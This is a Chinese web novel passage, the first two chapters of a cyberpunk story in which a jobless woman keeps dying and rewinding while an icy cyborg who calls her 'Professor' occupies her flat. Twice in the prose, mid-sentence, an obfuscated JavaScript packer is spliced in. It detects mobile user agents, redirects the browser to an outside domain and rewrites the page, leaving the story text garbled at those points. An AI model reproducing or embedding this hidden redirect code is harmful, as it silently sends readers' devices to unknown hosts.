《警告!伪人出没》 1. 第 1 章 冬雨持续了三日,潮湿的空气仿佛有了实质,每一次呼吸都像是鼻饲苏打水,无数细小的冰针瞬间刺入肺泡,引起一阵轻微的刺痛。 街道上冷冷清清,几乎没有行人。商店的门紧闭着,只有街头的快递点还亮着灯。 薛晓缩了缩脖子,速冻水饺的提手扯进大衣口袋。 【很久没有女儿消息,工作忙?/拥抱/疑问】 【妈,我很好】 【领导出差了,最近忙新项目。】 【不怕困难,有困难战胜困难,我教的好孩子/大拇指】 【下周降温,网上买两件保暖,有毛,邮去一件?】 【图片/大红色加绒有机假一赔一】 【图片/翡绿色加绒有机假一赔一】 【不用,我已经买了/笑哭】 【怎么邮?/疑问】 【张姨说,网上买东西不花钱,用预支?怎么弄?/疑问】 锁屏。 薛晓闭了闭眼。她没有告诉妈妈,她已经离开那家零售店一周了。 换了三四件工作,原因无非就是几种,领导傻掉,同事内卷,关系户空降。最后,因为个人原因,在试用期结束前主动离职。 读书十几载,空学大道理,到头来,薛晓只是一个普通人。 幸运的是,她的房租还有一个月才到期。她还有时间找到新工作。 不过,在此之前,她似乎该回老家一趟,核实一下那位“张姨”。 起风了,冰冷的空气钻进身体的每一处缝隙,薛晓加快脚步。 她的小屋虽然简陋,但算得上一个避风的地方,不至于让她在睡梦中被割了腰子。可惜,如果她这个月找不到工作,就要和她在这座城市唯一的小窝说再见了。 薛晓哆哆嗦嗦地掏出钥匙,打开门。 屋内一片漆黑,急促的车灯划过窗户,短暂照亮了小屋的陈列。 沙发背对着门,她眯起眼,在沙发靠背上,有一个黑色人形轮廓。 人!薛晓竭力地想发出声音,她感觉自己是一块被装在真空袋被狠狠挤压的合成肉,不需要什么技术和手段,就拥有了僵尸一样的变质的生命。 “嘭”一声巨响,走廊的墙皮震掉三层。薛晓甩上门,头也不回地跑。 有人!不管是活人死人,真人假人,偷盗抢劫还是杀人骗色,她的房间绝对被人动过了! 报警!不论警察来不来,查不查,管不管,她现在都急需一个庇护。 薛晓只是一个普通人,一个无功无过的良好居民,没有对抗歹徒的身手,也没有玩转股市的智慧。她只有被冬雨打湿的,发麻的头皮。 即便是住在最混乱的街区,遇见最常见的小偷,她也只能找人,然后,求人。 她常常幻想,如果自己有一招制敌的本领,她会毫不犹豫地迎上去,一个卡波耶拉锁绞,卸掉对方的颈关节,清脆又响亮。又或者,她会在那千钧一发之际,掏出一把西格绍尔P365式,精准射击沙发后的心脏,甚至装好了消音器。 但事实是,薛晓正在忽闪的路灯下大口换气,任由寒风剥蚀胸腔中喷薄的热量。 她努力控制自己颤抖的手指,试图按出正确的报警电话。 如果有路人经过,大概会认为这是一个无可救药的瘾君子,在拂晓时分就会被地下黑商转移器官,贴上一个漂亮的数字。 “喂,我是格鲁街孟德公寓A栋307户,我家里有人……我是新城人,不是租户,你们快来!” 然而,薛晓不知道,对面早就配备了高级信息脑网,几乎在瞬间就通过她的IP和声线,查到了有关“薛晓”的全部信息以及名下所有账户余额。 这位来访者,显然是无法支付一次出警费。 “嘟—嘟—”,冰冷的电子声线,薛晓失去了唯一的合法庇护。在这种绝望时刻,一通伸出援手的电话足以改变她的命运。 在贷款电话拨通的前一刻,一只强有力的大手从薛晓身后猛地捂住了她的口鼻,刺鼻的气味瞬间涌入她的鼻腔,一种浓烈得令人作呕的化学药剂味道。 薛晓惊恐地挣扎着,试图扭头看清身后之人,可一切都是徒劳。 她的视线开始模糊,大脑变得昏昏沉沉,四肢也逐渐失去了力量。迷药的效力极强,以惊人的速度侵袭着她的神经系统。 啪,路灯熄灭,世界归于虚无。薛晓看到了儿时的自己,天真烂漫。她跟着妈妈的脚步、牙牙学语,读了很多书,结交朋友—— 冷风灌入鼻腔,体内的热量迅速被剥夺,薛晓猛地睁开了眼。 她站在街口,有些恍惚地低下头,自己的手里提着一袋速冻水饺,包装上写着醒目的大字:有机大虾仁!好吃!韭菜鸡蛋味。 走马灯走这么快吗! 便利店的塑料袋很薄,提手勒着她的手指,表皮因为压力而泛白。薛晓下意识地想要调整手提的位置,她稍微一动,勒痕处便传来一阵血液加速流通的酥麻。 无比清晰,无比真实,无比…诡异。 她为什么会在这里?水饺又是怎么回到她手上?她刚刚因为太害怕,把水饺丢在了楼道里。 薛晓拿着水饺翻来覆去看,材料:合成淀粉,合成韭菜香料,合成鸡蛋香料…… 包装最下面有一行小字:“有机大”是商标。 薛晓:“……” 手机收到新消息。 【很久没有女儿消息,工作忙?/拥抱/疑问】 薛晓在聊天框里删删改改,最终还是发了出去。 【妈,我很好】 一模一样的对话。 她不是故意的,她也不知道该说什么。 刚刚的一切仿佛只是一场噩梦。 她大概是被冻糊涂了,还是赶紧回家吧。 回家,有人。薛晓:“……” 报警。薛晓又一次站在了街口,拎着她的“有机”大虾仁!好吃!韭菜鸡蛋味水饺。 回家,有人,求助。 她又站回来了。 回家…… “妈妈呀。”薛晓发出了感叹。 已经来不及为她的好吃!大虾仁!哀悼,现在登场的是冷冻!大虾仁! 她好像,不普通了。 —— 回家,有人。 不回家,街头街中街尾的黑商和混混将一整瓶烈性迷药倒在从流浪汉身上扯下来的破布上。 被迷晕三次,腹部中枪两次,心肺和股骨一次,薛晓终于鼓起了勇气。 路灯熄灭后,没有人能从格鲁街完整的走出去。这些混混自小在这里长大,他们祖上就是干这个的,路况比她熟。薛晓重来一百次,也躲不过他们。 混混危险,在此安居的本地人更加恐怖。众所周知这里治安差,晚10点以后,是公认的休息时间。只要她按响门铃,户主就可以判定她是流浪者,将她击毙。 薛晓拎着水饺,一阶一阶走上楼梯。 她或许应该用AI塔罗算一下凶吉,或者打开驱魔直播间镇镇邪气。不管用什么方法,重来多少次,她除了面对那颗未知的人头,没有别的选择。 【不怕困难,有困难战胜困难,我教出的好孩子/大拇指】 抱歉,妈妈,您的女儿,有点怂怂的。 回家的路漫长无比,锁芯转动却意外地丝滑。伴随“咔吧咔吧”两道清脆的机械声,门打开了。 薛晓深吸一口气,犹豫再三还是推开了门。 和之前一样,她的小屋依然寡淡无趣,那令她恐怖的源头依然存在,就在沙发的靠背上。 一切都没有因为她的不普通而发生任何变化。 尽管已经有过心理准备,可当她再次推开这扇门时,薛晓手心还是浸出一层汗。 “你好,请问我能进来吗?”她说完就后悔了,这是她自己的屋子,她刚刚用钥匙打开了门,这样说太刻意了。 薛晓试图找补,“太久没回来,我都有些陌生了。你是这里的新租户吗……” 她越说越糊涂了。 屋里的温度似乎比外面还要低,一股寒意从脊背直窜上头顶。薛晓的心跳愈发剧烈。此时此刻,此情此景,她只能祈祷——万一是个假人呢。 假人更可怕。联邦研制出的战斗机械人可以在一分钟内收集137个附着健康软组织的胸骨。一节碱性5号电池就能支撑陪伴型机械狗爆破一座商务大厦。 还有一些认知障碍的仿生机械人,执着探究人类脆弱的躯体结构。它们会死板地依照七步洗手法的步骤,严格清洁消毒,就像是参拜某种邪恶的仪式。 如果有人想以她的房间为爆破点,炸飞这条街,她也只能揣一把合成孜然粉,让搜救机械人分析她的生平爱好时,为她的数字墓志铭加一条香甜酥脆有机烤全人。 薛晓两腿发软,不知道是不是错觉,沙发上的那个人脑袋,好像向□□斜了15.3度。 活,活的! 如果此时她手里有枪,出于对准确性的考量,她会将描点集中在相对不易移动的胸腔部位。然而采取这样的射击方式,有极大概率不能一击毙命。对方存在反击的可能。 所以在这种情景下,往往要看谁扣动扳机的速度更快,能在对方尚未做出任何动作之前,摧毁其中枢神经系统。 薛晓的脚趾扣紧合成皮革的鞋底,她绞尽脑汁想如何逃跑。窗外,急促的车灯带着尖锐的呼啸声一晃而过,昏黄的光线短暂照亮了沙发的一角。 就在车灯划过的瞬间,“他”消失了!就像是一幅原本完整的画面被突然地裁剪掉了关键的一部分,没有任何的异常波动! 薛晓的瞳孔急剧收缩。隐匿在黑暗中如毒蛇一般手指,带着极具侵略性的寒意,缠上她的腰肌。强大而又蛮横的力量瞬间将她带入屋内。只听“咔吧”一声脆响,门锁无情落下,她与外界彻底隔绝。 世界昏暗,薛晓双手反剪,被一个与门板齐平的高大人形生物抵在门旁。 她不敢呼吸。不是因为她害怕,主要是因为,“他”的体温,太冷了,冷得让周围的空气都要凝结成冰。她甚至觉得只要自己轻轻吸一口气,那寒冷就会顺着呼吸道直入肺腑,将自己的五脏六腑都冻僵。 薛晓的小屋虽然避风,但除了一张60×150的电热毯,没有任何取暖设施。如果继续和这个“大冰桶”共处一室,不需要掏腰子,她自己就会冻死在这间温馨的小屋里。 然而“他”对薛晓的反应毫无所觉,昏暗中,“他”缓缓低下头,凑近薛晓的鼻息,轻轻做了两下嗅闻的动作,像是在收集她的信息分子。 就在薛晓觉得自己的头皮要结霜时,“他”的胸腔发出了震鸣。 “拆掉我的脖子,击碎我的心核,把四十公斤的炸药绑在我身上。现在,你想对我做什么。” 薛晓:……? 这人在胡说八道些什么。 薛晓记得,上周她买了一把新裁纸刀用来拆快递,非常的锋利。就在距离她一个小臂的鞋柜上。 如果可以的话,她可以为自己反抗增添一点余地。 “我……可以看看你的脸吗。”太冷了,薛晓几乎是咬紧牙关才说出话。 “他”微微一愣,似乎是没想到薛晓的请求。短暂的沉默后,“他”缓缓抬起头,松开了紧抵着薛晓的手。 “你真的想看?也许你会后悔。”“他”的声音低沉而沙哑,带着一丝警告。 “不后悔不后悔。”薛晓敷衍道。她余光打量着刀的位置,悄悄地靠近。 薛晓在等一个时刻,等这个“人”放松警惕的那一刹那,她就以迅雷不及掩耳之势拿起裁纸刀,猛地捅向“他”的颈动脉。让鲜血、汽油或者其他可以提供能源东西,喷溅到她的脸上和身上。 然而,仿佛被洞悉了一切,一只宽大而有力的大手伸了过来,裹住她的手指,拦住她的去路。 “可以不要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744971|157571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样做吗?刀片卡在骨骼里,很痛。”“他”低沉的语调中夹杂着一丝不易察觉的脆弱。 明明什么都没有发生,薛晓却感觉自己好像真的拿刀捅向了“他”的脖子一样。她的心脏猛地一揪,一种强烈的罪恶感瞬间涌上心头。 她发誓,她这辈子谨言慎行,严于律己,绝对没有做过违法乱纪,伤人性命的事情。 可是,她的脑海中不受控制地浮现出画面,锋利的刀片深深嵌入“他”的脖颈,“他”的手本能地捂住伤口,喉咙里发出含糊不清的声音—— 那咋了,她什么都没做。 薛晓一边安慰自己,一边寻找新机会,“我只是想看你的脸,你说刀片做什么。” “他”又沉默了一会,似乎是在斟酌着什么。终于,“他”似乎是点了点头,说:“好。” 随着“他”的话音落下,房间的灯“啪”的一声开了。强烈的光线瞬间充斥着整个房间,薛晓下意识地眯起了眼睛。 “你不想见我。” “见,见,”她努力睁开眼,看清了眼前男人的全貌。 黑发蓝瞳,微分碎盖,宽肩窄腰,肤白貌美。 薛晓:“……” 谁把会所的头牌塞到她小屋里了? 她没钱仙人跳啊! 若是说不寻常之处,他的左侧额上至颧骨是一块陶瓷色的拼接皮肤,覆盖整个左眼。 他头部受过伤,现在义体医疗这么发达,有一块拼接头骨也不是什么稀奇事。 然而,这个孙子不知道什么时候把她的手放到他的脸上,细细地摩挲那块陶瓷皮肤。 很显然,她的手已经冻得没有知觉了。 “你不怕吗。”他问。 怕?当然怕啊,一会就要截肢了! 薛晓的目光在他脸上停留,“我是不是在哪见过你。”经典开场白永远不会出错。 他低头看着她,嘴角有一丝细微的抽搐,像人类语无伦次的生理反应,又像机械人代码错误导致的错乱。或许是因为额上的义体,整个人透着一股诡异的失真。 他穿着高领黑色毛衣,外搭灰白色冲锋衣,拉锁微微敞开,刚好将薛晓包裹在内。如果是正常人类男性,这会是一个非常暧昧且温暖的姿势。 然而,薛晓正在失去体温,她的心跳愈发激烈,以至于出现幻觉。 太好了是幻觉,她没救了。意识边缘,薛晓还是忍不住讲一个有关自己的地狱笑话。呀嘞呀嘞,死亡循环这种东西,只有精神失常的人才会觉得有趣吧。 大冰棒穿得,像一个烂大街的短视频博主。抬头是二次元网游风,低头是氛围感男大。结合起来,是男大的氛围感。嘴甜一些,开个直播,一小时随随便便就能赚几万卡币。 薛晓刷到这样的直播间,顶多刷几个免费的小心心,观摩大佬们为爱冲锋,最后转发涨粉抽奖,蹲营销号讲瓜。 花钱是不可能的。精神食粮固然重要,但兜里的食粮没有就真没有了。 现在,意外掉落的失足一流货色,近在咫尺,她还想干什么?干什么都是亏,不如—— 薛晓抬起头,失去知觉的双臂环住他的脖颈,主动吻上了他的唇。 再冰冷的男人嘴唇也是柔软的。 她舌尖试探性地触碰他的唇瓣,邀请他配合。 太高了,薛晓踮着脚尖,责备似的轻轻咬一下他的下唇。他的身体猛地一僵。 若有若无的温热气息充斥在唇齿间。 他闭了闭眼,肌理性地深吸一口气,后撤—— 锋利的刀片在护甲上划过,瞬间擦起一道明艳的火花,尖锐的摩擦声在死寂一般的空间中骤然响起,绝望而无情。 他怔了怔。护甲的强度非裁纸刀可比,高速摩擦只带给他零星的温度,很快就堙灭在逐渐粗重的呼吸中。 薛晓:“……啊。”糟糕透了。 他背着灯光,薛晓看不清他的神色,也不想看。大概是想杀了她。 她能回档重开吗? “啪”,裁纸刀应声掉落,一只大手猛地搂住薛晓的腰,将她往上一提,另一只手抚上她的后脑勺,嘴唇重重地压了上去。 舌尖交缠在一起,薛晓的双手从他的脖颈滑到他的后背,胡乱揪起他的衣服,试图拉开一个喘息的空隙。 疯了。疯了。 昏天黑地,薛晓的大脑一片空白。她的身体仿佛已经不再属于自己,而他卯足了力气,好像要把她体内的空气都抽干。 此时此刻,此情此景,薛晓已经不知道该请求谁的帮助。 他这张脸,她这条件,警察冲进来都不知道是谁在强谁。 许久之后,薛晓瘫坐在沙发上,张开红肿不堪的嘴唇,大口大口地喝水,比在街巷夺命奔逃时还要竭尽全力。 房间好像没那么冷了。 为什么口干舌燥啊。薛晓想不通。 他坐在他原来的位置,轻轻将薛晓拥入怀中,在她耳边低语: “为什么要毁灭世界。” 薛晓:?????神经病吧。 自从她初二那年和同桌上课传小纸条被叫到讲台上大声念出来后,她再没说过如此中二的台词。 “为什么要杀死我的家人?” 薛晓:?!清蒸大老爷!冤枉啊! 她承认她青春期中二少女幻想过毁灭世界然后成为能够拯救世人的唯一真神。可她从来没伤害别人的家人啊! 他慵懒地低下头,额头轻轻抵在薛晓的头上。他的嘴唇贴近她的耳畔,呼出的空气带着甜丝丝的温热,撩动着她的发丝。 “教授,我好像,看不懂你。” 薛晓:……………… 明明他可以选择杀了她,放火,抢劫,或者仙人跳。可他偏偏,选了最侮辱她的方式——认错人。 薛晓推开他,即使水杯拿不稳,也要独自站起来,说:“你走错门了,我不是什么教授,我什么都不会。” 2. 第 2 章 房间又变冷了。丝丝缕缕的寒气从无数个角落渗透出来,仿佛有无形的冰雾在空气中弥漫,让人感受到一阵刺痛般的冷。 呼吸之间,薛晓能清晰地感觉到自己身体在努力适应这种寒冷的侵袭,试图从每一次呼吸中获取足够的氧气,但却始终摆脱不了这股深入骨髓的寒意和憋闷。 薛晓投降。她好像把古希腊掌管冷空气的神招惹来了。 虽然不知道原理是什么,但肯定和这个奇怪的“人”有关系。现在当务之急是把他请出去。 他说是教授,那就是吧。听起来是一份体面的工作。 她如果真的是教授的话,她妈妈就能在每天下午两点开始的婆姨茶话会上坐中间最高的马扎子,把那个儿子在大公司上班的刘姑妈挤下去。 薛晓坐回沙发,看向他,“请问你找我有什么事。” 他看起来有些沮丧,原本明亮的眼睛无声黯淡了下去。他微微低下头,额前的碎发遮住了他的眉眼,让人忍不住心生怜爱。 “你……”薛晓欲言又止。装什么可怜。打又打不过,骂又不太敢,她一个手无缚鸡之力的普通人类女子还能霸王硬上弓吗。 她难道要环住他的脖颈,用力将他拉近,然后不顾一切地把自己的嘴唇重重地压在他的嘴唇上? 她难道要双唇紧紧贴合着他的,用力地厮磨,含糊着把心里所有脏话都说出来? 她难道要用她的牙齿不小心磕碰到他的,然后舌尖疯狂地探入他的口中,与他的激烈地交缠,贪婪地汲取着他的气息? “教授,我们真的要这样吗。”声音打断薛晓的思绪。 他的脸颊微红,眼神略显迷离,带着几分慵懒与满足,整个人散发着一种难以言喻的气息。 他坐在薛晓身边,略显局促,眼神时不时扫过薛晓的嘴唇,欲动,又止。 他又怎么了。薛晓无语。她什么都没做,这人怎么一副被狠狠揉捏过的模样。 “你要哪样?”薛晓说。 “啊、”他回过神,有些失落地垂下头,说:“教授,我是你的助理,零。你不记得我了。” “哦,现在记得了。”薛晓镇定摸了摸自己的鼻子。 零?铃?灵?哪个零?算了不重要。 房间温度一直不高,速冻水饺还没融化。 简易的炉灶上,蓝色的火苗微弱地跳跃着,水饺在锅中慢慢翻腾。热气升腾而起,瞬间被周围的寒气吞噬。 薛晓紧了紧身上的外套,绝命逃亡了十几回,她还没吃晚饭,肚子早就饿得咕咕叫。 零就在她身后不远处。她想,她最好是亲手做一顿饭。 水饺煮好了。薛晓盛出一碗递给了他,自己也端起一碗,坐在冰冷的椅子上,默默地吃了起来。 零皱了皱眉头,“我不需要摄入食物。” 薛晓只是淡淡地应了一声,“哦。”便不再理会他。 合成水饺的口感真是差极了,面皮没有丝毫的韧性,馅料也寡淡无味。她机械地咀嚼着,每一口都像是在完成一项任务,只为了获取那一点点能够支撑身体的能量。 如果她能够每日摄入1000g以上的有机食物,她一定会非常的健康强壮,就可以从事一些薪资更高的工作。 但显然,薛晓微薄的积蓄不足以帮她养好身体。无数像她一样的打工人为了生存下去,就会选择薪资更低的工作,吃更廉价的合成食物,不眠昼夜,直至消失在没有路灯的黑夜里。 滴答—滴答— 一滴又一滴的水珠从水管接口的缝隙中挤出,清脆而单调的声音在寂静的房间里回响着。 漏水了。 现在是晚上11:03,薛晓擦净嘴巴,说:“热胀冷缩,螺母松动,老毛病了。你去五楼借一个扳手。五楼就一户,你上去就看到了。” 零手里捧着一碗冷却的水饺汤,一动不动看着薛晓。 “你不是我的助理吗?我需要你的帮助。”薛晓说。 零沉默了几秒,缓缓放下手中的碗,汤汁溅出了一些,瞬间凝成一道冰柱,振地有声。 打开门的瞬间,一股寒冷的风灌了进来,薛晓不禁打了个寒颤。她趴在门缝上,听着零的脚步声在楼道里渐渐远去。 “妈妈呀。”薛晓迅速反锁门,捏了捏自己发麻的脸。她艰难地走向洗手间,接了满满一大盆的凉水。 五楼的住户是一位真“教授”。据传言,这位“教授”年轻时是矩阵工业的科研人员,主武器研发,后来被查出来学术行为不端,剥夺了入住职工公寓的资格。 有一次,薛晓碰见“教授”。他头发花白,戴着啤酒瓶一样厚的眼镜,右手缩在袖子里,对薛晓嘟囔:如果能在这里加一把热氰机枪,他就可以控制整条街道。 零,绝非普通人类,不管是义体脑袋还是低温,或是轮回,都透露着诡异。 他来到格鲁街是想找到他的教授。假设,今晚的一切都是一场误会,是他走错了门,五楼那位才是他要找的人的,那薛晓也算是好心提醒。 如果不是,“教授”研制的轻械武器,足够让他吃点亏。 薛晓守在门口,紧紧地握着水盆的边缘,指关节因为用力而泛白。她屏息凝听楼道的声音,心跳声如同擂鼓一样响亮。 突然,一阵若有若无的脚步声传来,鞋底有点硬,约65分贝,平均每秒下1.5个台阶。是他!薛晓的身体瞬间紧绷,心提到了嗓子眼。 锁舌响了,那细微的“咔哒”声犹如一道惊雷。她根本就没有备用钥匙! 也对,薛晓苦笑。像零这样的怪物,怎么会把一只老掉牙的机械锁放在眼里。 零打开了门,薛晓将盆中的水瞬间泼向零! 水在零的身上瞬间凝成冰,以一种令人瞠目结舌的速度,覆盖了零的全身。他的面部表情被定格在这一刻,惊讶与愤怒交织在一起,散发着令人胆寒的冷意。 在零的手里,还拿着一把有些旧的扳手,螺纹紧固处粘着机油和污泥。 “对不起!对不起!”薛晓一把抄起旁边的扫帚,用尽全身的力气,朝着被冻成冰雕的零挥过去! 零失去了平衡支撑,沿着楼梯的台阶翻滚而下。他的身体撞击在每一级台阶上,伴随着冰块碎裂的清脆声音。 “对不起……”薛晓站在楼梯口,大口喘着粗气。她看着零一路滚落,内心在不住地祈祷,希望他能摔得更重一些,最好是永远消失。 薛晓真的,只是一个普通人,她真的,从来没有想过要杀谁。 如果她做错了,她愿意重新回到街口,任凭黑心贩子转移她的器官。 薛晓丢下手里的一切,拼命地向楼上跑。她不敢赌一只怪物的生死。 零能回来,说明“教授”还没有休息,她愿意和“教授”谈一谈。哪怕只有一晚的庇护。 到了五楼,她颤抖着伸出手,敲响了那唯一一户人家的门。 “咚、咚、咚”,“嘭”一声巨响,一道强烈的光芒闪过,伴随着巨大的冲击力,薛晓眼前一黑—— 锁舌弹开,零打开了门,薛晓端着一盆凉水站在门口。 零看了一眼她手中的水盆,脸上露出一丝迟疑,随后举起了手中的一袋东西,平静地说道:“吃牛排吗。” “哐当”一声,水盆在地上翻滚了几下,水溅得到处都是。薛晓一把推开零,不顾一切地向楼上跑。 “教授”可能已经遭遇不测了—— 薛晓端着水盆站在门口,她手都要酸了。 零打开门,将手里的东西提起来给薛晓看。 “五楼送的牛排。” 牛排呈现出诱人的棕褐色,表面煎得微微焦黄,丝丝缕缕的肌肉纤维清晰可见,散发出令人垂涎欲滴的香气。 竟然是有机牛肉! 五楼的“教授”经常会外售一些自制的小玩具,赚取手工费。他除了脾气怪,各条件比薛晓好太多。 “你需要补充蛋白质。”零面无表情地说道。他淡淡扫了一眼薛晓手中的水盆,反手把门内锁,进了屋。 “我谢谢你啊。”薛晓翻了个白眼,悻悻把水盆放在一边,说:“这些是水管漏的水。我刚想去倒掉,你就回来了。” 她越说声音越小,好在零不怎么搭理她,刚刚的一切仿佛都没有发生过。 果然,薛晓这样的普通人做不了大事,只不过杀个人而已,她就心虚的要命。 零的心情似乎很不好,房间的温度实质性的下降了好几度,已经跌破零下。 薛晓小心翼翼地向前挪动脚步,每一步都仿佛踩在浮冰一般虚浮。 这种寒冷并非是瞬间的冲击,而是像有意识的幽灵,悄无声息地缠绕上她的小腿,一点点地向上攀爬。 薛晓忍不住颤抖起来,寒冷顺着她的毛孔钻入,在血管中肆意流淌,让她的血液逐渐变得黏稠而冰冷。 危险的气息弥漫在整个房间,仿佛一张无形的网,将薛晓紧紧束缚。 薛晓在零的注视下吃完一整个牛排。她的味蕾已经被合成食物驯化了,竟然尝不出有什么特别之处。 她机械地咀嚼着,吞咽着,眼神偶尔瞟向零。牛排的滋味在她口中变得模糊不清,只是胃里有了一点踏实的感觉。 零坐直了身子,向薛晓摊开手,“报酬。” 薛晓心里咯噔一下,果然还是逃不了仙人跳。她咬了咬嘴唇,想起自己捉襟见肘的存款,又担心这个怪物会把她冻成冰雕,卖到高速公路当绿化带。 她犹豫半天,最终决定问他,“能…换种方式吗?” 比如,她可以给他打工,可以玩教授和助理的cosplay,她可以假装老师、保镖、零售员,陪他吃饭、逛街,睡觉不行。友情价只收一点点委托费。若是玩腻了,让她当助理也可以。她什么工作都能干。 “好。”零的回答简单干脆,他闭上眼睛,微微把脸探向薛晓,似乎在等待什么。 房间里陷入了诡异的安静。 这是什么意思。薛晓不太想认。 她刷视频看到过,前世纪的人喜欢用亲吻表达感谢。但是这个范畴应该不包括教授和助理吧! 按照正常人来说,助理最在乎的,不应该是论文的署名和倒欠的工资吗?怎么可能会期待教授的嘴巴呢。 就在她内心还在激烈挣扎,理智告诉她千万不能这么做的时候,身体却仿佛不受控制一般,鬼使神差地凑了过去。 亲就亲,反正不花钱。他们刚刚就亲过了,多亲两下,少亲两下,都没有什么区别。 然而,事情的发展却超乎了想象,不知是哪一方先主动,舌尖相互交织、缠绕,简单的嘴碰嘴竟演变成了热烈的舌吻。 待激情稍稍退却,薛晓猛地拉开距离,抱起水壶吨吨喝水。 吃完了,零的神情缓和了许多,就好像是享用了一顿美味的牛排,腹腔暖洋洋的,满满的充实感。 房间温度又回升了,薛晓忍不住揉了揉自己的唇角。 空调的开关,在这里啊。 —— “你属于什么单位,研究什么,有发表过论文吗?” 零不回答。 “你有你其他同事的联系方式吗?姓名?你有朋友吗?” 零摇头不语。 “那你知道,我是什么角色吗。”薛晓试图从零的微表情中获得一点线索。 然而,零什么都不知道,只知道薛晓就是他要找的人。 薛晓非常无语。 从某种意义上来说,她这是免费包养了一个男模。 零不需要吃,不需要喝,不爱说话,生活自理,偶然还能变出一顿美味的营养大餐。他每天坐在薛晓的沙发上,散发魅力和奇怪的冷空气,然后等着吃嘴巴。 便宜,美观,不易死。 有时薛晓会想,如果他夏天来就好了,她就不用费尽心机偷超市冷冻柜的冰块了。 零的目标只是找到他的教授,为什么找,找到后做什么,他自己也不知道。他每天除了盯着薛晓睡觉,就是督促她吃饭,什么都不做,什么也不求,纯欣赏。 薛晓现在已经能够无视他,有时候家里太冷,她就会跑出来,到超市里暖和暖和。 超市,自古都是灾难片的必争之地,资源优渥,不需要二次加工,进可锅碗瓢盆,退可米面粮油。即使在平和时期,也有大量无家可归的人在此驻扎。 当然,也有薛晓这样,有家但不能归的人。 “我家那位,粘人粘的不得了。” 王大姐不停地用手扇着风,“我在厨房忙得热火朝天,他在旁边碍手碍脚的,啥忙也帮不上,还净添乱。我真是受够了,这才找个借口跑出来。” “嗯嗯我家也是。”薛晓附和道。 “我前男友,毕业就和我在一起,到现在他还住我家里。” 刘姐姐声音不自觉地提高了几分,“抬头不见低头见的,太尴尬了。当初分手就不该让他赖在我家,现在想赶都不好赶。” “嗯嗯我也尴尬。”薛晓不住地点头。 “我家老头,什么都不做,整天坐在沙发上一动不动,我还以为他咽气了,过去一看,在生闷气呢。” 孙大姨越说越激动,双手在空中挥舞着,“他在家里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14744972|157571||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 简直就是个累赘,一点用处没有,还整天给我摆脸色,我真是倒了八辈子霉。真希望他能早点走。” “嗯嗯我也希望他早走。”薛晓应和道。 “……”“……”“……” 王大姐笑容满面,亲切地拉起薛晓的手,“小薛呀,你什么时候处上对象了。上个月我还在相亲角上见过你。” “哈哈王大姐你真会开玩笑,我工作那么忙,怎么会去相亲角那种地方啊哈哈哈。”薛晓的脸上堆满了尴尬的笑容,眼神闪躲着,试图掩饰内心的慌乱。 她们三人面面相觑,一副你懂我懂大家懂的表情。 薛晓尴尬地挠头,笑声听起来都有些勉强,“我没有对象,真的,我家里那个……是我朋友寄养的宠物哈哈……” “小薛妹妹。”刘姐姐拍了拍薛晓的肩膀,语重心长的说道,“需要我们一起去你家吗?人多力量大,他不敢把你怎么办。” “不用不用,没有没有,我乱说的哈哈。”薛晓连忙摆手,借口离开了八卦中心。 她们误以为薛晓家里有一个家暴男。这种事在格鲁街很常见。 实际上薛晓家里只是多了一个会移动的制冷空调,目前还没有伤害薛晓的举动。 薛晓已经尽力不去想他。 “这位美丽的小姐姐,您的气色真好,是用了什么化妆品吗。” 女孩穿着白衬衣,胸前带着超市统一的铭牌,写着“小乐”,应该是花名。 小乐的脸蛋圆润,带着些许尚未褪去的学生气,脑后扎着一个利落的马尾辫,几缕碎发俏皮地垂在额前,一双清澈的大眼睛,好奇地看向薛晓。 “哈哈,其实也没有特别用什么啦。”虽然只是简单的夸赞,但薛晓很受用。 其实没有什么保养秘诀,她天天被监督服用比例调配的碳水化合物、蛋白质、脂肪、维生素和各种矿物质,偶尔还有奇形怪状的补品。 合理作息,早睡早起。她每次想熬夜,零就开始释放冷气,搞得她不得不钻进被窝暖和暖和,手机都冻关机了。 这样一套流程下来,很难气色不好啊! 零隔一天就会呈出一份她的健康数据报表。薛晓只扫过一眼,全部标红。按照人类体检正常标准来看,她现在已经是将死之人。 “您这肌肤光滑细腻,白里透红,一看便是爱美之人。超市最近美妆产品搞活动……”小乐热情洋溢介绍着。 薛晓不想听了。她对于脸的要求不高,五官完整功能齐全就行了。她又不是什么美若天仙的明星,又不能靠脸吃饭。 这世道,朝不保夕,说不定哪天就死于非命。能活到白发苍苍、爬满皱纹的年纪,都是大福大贵之人,不需要隐藏。 小乐依旧保持甜美的微笑,说:“小姐姐,天气不好,心情可不能跟着糟糕哟。您看这款精华,就算不能改变世界,至少能在您照镜子的时候给您一点小惊喜……” 薛晓抬头,看向超市窗外的天空。阴沉沉的乌云密布,如同一层厚重的黑灰色棉絮层层堆叠,几乎要压到地面上来。 天气真是古怪。她想,今年冬天可能会很冷很冷。 这时,一个棉大衣配紧身裤、头发染成玫瑰正红色的男人走了过来,不怀好意地盯着小乐,嘴里叼着营养棒,含糊不清地说:“小售货员,陪哥哥聊会儿呗。” 小乐的笑容瞬间僵住,立即后退了一步,眼神中充满了愤怒和厌恶,“滚。” 那男人却丝毫没有退缩的意思,反而靠近了些,伸手要搭在小乐的肩膀上,说:“来吧小宝贝,这个话题你一定很喜欢。” 